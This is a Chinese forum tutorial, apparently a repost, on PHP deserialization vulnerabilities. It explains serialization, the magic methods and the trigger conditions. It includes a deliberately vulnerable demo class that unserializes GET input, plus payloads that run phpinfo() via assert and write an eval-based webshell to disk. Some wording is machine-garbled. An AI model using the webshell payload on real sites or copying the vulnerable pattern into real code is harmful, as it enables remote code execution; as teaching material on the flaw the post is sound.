请选择 进入手机版 | 继续访问电脑版
查看: 339|回复: 0

详解PHP反序列化漏洞的原理及示例

[复制链接]

2066

主题

2066

帖子

6594

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6594
发表于 2022-10-9 01:02:04 | 显示全部楼层 |阅读模式
PHP反序列化


序列化与反序列化

序列化说通俗点就是把一个对象酿成可以传输的字符串。序列化过程中还会对差异属性的变量进行差异方式的变革
public的属性在序列化时,直接显示属性名
protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3
private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2
反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

PHP魔法函数


  • __construct()    #类的构造函数
  • __destruct()    #类的析构函数,在对象被销毁时执行该函数
  • __call()    #在对象中调用一个不可访问方法时调用
  • __callStatic()    #用静态方式中调用一个不可访问方法时调用
  • __get()    #获得一个类的成员变量时调用
  • __set()    #设置一个类的成员变量时调用
  • __isset()    #当对不可访问属性调用isset()或empty()时调用
  • __unset()    #当对不可访问属性调用unset()时被调用。
  • __sleep()    #执行serialize()时,先会调用这个函数
  • __wakeup()    #执行unserialize()时,先会调用这个函数
  • __toString()    #类被当成字符串时的回应方法
  • __invoke()    #调用函数的方式调用一个对象时的回应方法
  • __set_state()    #调用var_export()导出类时,此静态方法会被调用。
  • __clone()    #当对象复制完成时调用
  • __autoload()    #实验加载未定义的类
  • __debugInfo()    #打印所需调试信息
序列化结构


反序列化漏洞


简介

PHP反序列化漏洞也叫PHP对象注入,是一个非经常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用乐成就会造成非常危险的后果。漏洞的形成的根本原因是步伐没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。

触发条件

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数

示例
  1. <?php

  2. class demo{
  3.     public $name;
  4.     public $age;

  5.     function __destruct(){
  6.         $a = $this->name;
  7.         $a($this->age);
  8.     }
  9. }

  10. $h = new demo();
  11. echo serialize($h);
  12. unserialize($_GET['h']);

  13. ?>
复制代码
payload
  1. payload:(适用于destruct() wakeup())
  2. O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

  3. 传木马
  4. O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}
复制代码

我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。
大致过程:

到此这篇关于详解PHP反序列化漏洞的原理及示例的文章就介绍到这了,更多相关PHP反序列化漏洞内容请搜索趣UU以前的文章或继续浏览下面的相关文章希望大家以后多多支持趣UU!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
打赏作者
  • 0
  • 0
  • 0
  • 0
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表